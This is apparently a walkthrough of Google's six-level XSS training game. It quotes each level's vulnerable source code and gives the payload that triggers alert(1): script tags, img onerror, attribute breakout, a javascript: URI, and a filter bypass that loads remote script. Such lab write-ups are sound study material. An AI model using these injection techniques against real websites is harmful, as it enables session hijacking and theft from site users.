Today we’re playing with a little different challenge, series of XSS challenges from Google hosted here. Give it a go, before reading this write up!

Level 1: Hello, world of XSS

Firstly, we navigate to the challenge website.

Level One Overview

By entering a simple <script>alert(1)</script>, we get a working XSS attack.

Level One XSS

But why is that? Let’s take a look at the source code.

page_header = """
<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>
 
  <body id="level1">
    <img src="/static/logos/level1.png">
      <div>
"""
 
page_footer = """
    </div>
  </body>
</html>
"""
 
main_page_markup = """
<form action="" method="GET">
  <input id="query" name="query" value="Enter query here..."
    onfocus="this.value=''">
  <input id="button" type="submit" value="Search">
</form>
"""
 
class MainPage(webapp.RequestHandler):
 
  def render_string(self, s):
    self.response.out.write(s)
 
  def get(self):
    # Disable the reflected XSS filter for demonstration purposes
    self.response.headers.add_header("X-XSS-Protection", "0")
 
    if not self.request.get('query'):
      # Show main search page
      self.render_string(page_header + main_page_markup + page_footer)
    else:
      query = self.request.get('query', '[empty]')
       
      # Our search engine broke, we found no results :-(
      message = "Sorry, no results were found for <b>" + query + "</b>."
      message += " <a href='?'>Try again</a>."
 
      # Display the results page
      self.render_string(page_header + message + page_footer)
     
    return
 
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)

Basically, whatever we enter in a query will be inserted into the webpage. This allows us to enter any malicious code we want.

Level 2: Persistence is key

Next challenge is a little bit different, we get some chat application.

Level Two Overview

This time we can’t simply insert <script>alert(1)</script>, as in the sent message nothing will be shown. That’s because inserting HTML content in the DOM using innerHTML won’t run the script.

But another simple attack will be to use <img> tag and onerror atrribute, just enter an invalid path to the image and script from onerror will execute.

Just like this - <img src=1 onerror=alert(1)>.

Level Two XSS

Level 3: That sinking feeling…

This time we get a simple gallery.

Level Three Overview

We can modify an image that we want to see by clicking on the buttons, or by observing an URL https://xss-game.appspot.com/level3/frame#3. Each image has different number, but only three first will produce an valid image.

Viewing the source code of the challenge, we can see this script.

    <script>
      function chooseTab(num) {
        // Dynamically load the appropriate image.
        var html = "Image " + parseInt(num) + "<br>";
        html += "<img src='/static/level3/cloud" + num + ".jpg' />";
        $('#tabContent').html(html);

        window.location.hash = num;

        // Select the current tab
        var tabs = document.querySelectorAll('.tab');
        for (var i = 0; i < tabs.length; i++) {
          if (tabs[i].id == "tab" + parseInt(num)) {
            tabs[i].className = "tab active";
            } else {
            tabs[i].className = "tab";
          }
        }

        // Tell parent we've changed the tab
        top.postMessage(self.location.toString(), "*");
      }

      window.onload = function() { 
        chooseTab(unescape(self.location.hash.substr(1)) || "1");
      }

      // Extra code so that we can communicate with the parent page
      window.addEventListener("message", function(event){
        if (event.source == parent) {
          chooseTab(unescape(self.location.hash.substr(1)));
        }
      }, false);
    </script>

And there is potential for XSS, in line html += "<img src='/static/level3/cloud" + num + ".jpg' />";, just our num variable which is set from the value after the hash in the URL will have to look like this - 1'onerror='alert(1)//. That way, after the execution our html variable will be <img src='/static/level3/cloud1' onerror='alert(1)//.jpg' />

Level Three XSS

Level 4: Context matters

In this challenge we get a timer that will pop an alert after a specified number of seconds we enter.

Level Four Overview

Let’s take a look at the source code, just at the waiting screen.

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
      function startTimer(seconds) {
        seconds = parseInt(seconds) || 3;
        setTimeout(function() { 
          window.confirm("Time is up!");
          window.history.back();
        }, seconds * 1000);
      }
    </script>
  </head>
  <body id="level4">
    <img src="/static/logos/level4.png" />
    <br>
    <img src="/static/loading.gif" onload="startTimer('3');" />
    <br>
    <div id="message">Your timer will execute in 3 seconds.</div>
  </body>
</html>

After small analysis, we can see a possible attack vector in line onload="startTimer('3');", where 3 is the number of seconds we entered. If we put something like this 1');alert('1, we could possibly put the XSS in the webpage.

But after trying that, in the source code we can see that anything after the ; character was omitted onload="startTimer('1&#39;)');". After a little bit of research, I’ve found that URL encoding the character where ; => %3B will solve this issue.

In the end, our payload is 1')%3Balert('1.

Level Four XSS

Level 5: Breaking protocol

This time we have a Groove Reader application, with a Sign Up link.

Level Five Overview

After clicking the link, we are presented with a field to enter our email and another submit link. Viewing the source code gives us nothing usefull at first sight.

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
  </head>

  <body id="level5">
    <img src="/static/logos/level5.png" /><br><br>
    <!-- We're ignoring the email, but the poor user will never know! -->
    Enter email: <input id="reader-email" name="email" value="">

    <br><br>
    <a href="confirm">Next >></a>
  </body>
</html>

But after connecting a few dots, the URL signup?next=confirm will change the value of next href. Just as we change it to test, signup?next=test our href value changes <a href="test">Next >></a>. That way we can craft a simple payload - just put javascript:alert(1)%3B as the next paramter in the URL just like this signupp?next=javascript:alert(1)%3B.

Level Five XSS

Level 6: Follow the 🐇

This time we want to execute Javascript from the remote resource, bypassing the filter from the source.

Level Six Overview

Firstly, let’s take a look at the filter.

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />

    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }

    function includeGadget(url) {
      var scriptEl = document.createElement('script');

      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }

      // Load this awesome gadget
      scriptEl.src = url;

      // Show log messages
      scriptEl.onload = function() { 
        setInnerText(document.getElementById("log"),  
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() { 
        setInnerText(document.getElementById("log"),  
          "Couldn't load gadget from " + url);
      }

      document.head.appendChild(scriptEl);
    }

    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }

    includeGadget(getGadgetName());

    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);

    </script>
  </head>

  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

As we can see in the line if (url.match(/^https?:\/\//)) {, we cannot input anything matching the https string. But, there is a catch, we can easily do it by entering Http as the protocol.

In order to exploit, host a remote file containing alert(1) (easily done with Pastebin), and in the URL enter level6/frame#Https://pastebin.com/raw/******.

Or even easier, using the data URI, just like this data:text/javascript,alert(1). That way we do not even have to create any remote files

Level Six XSS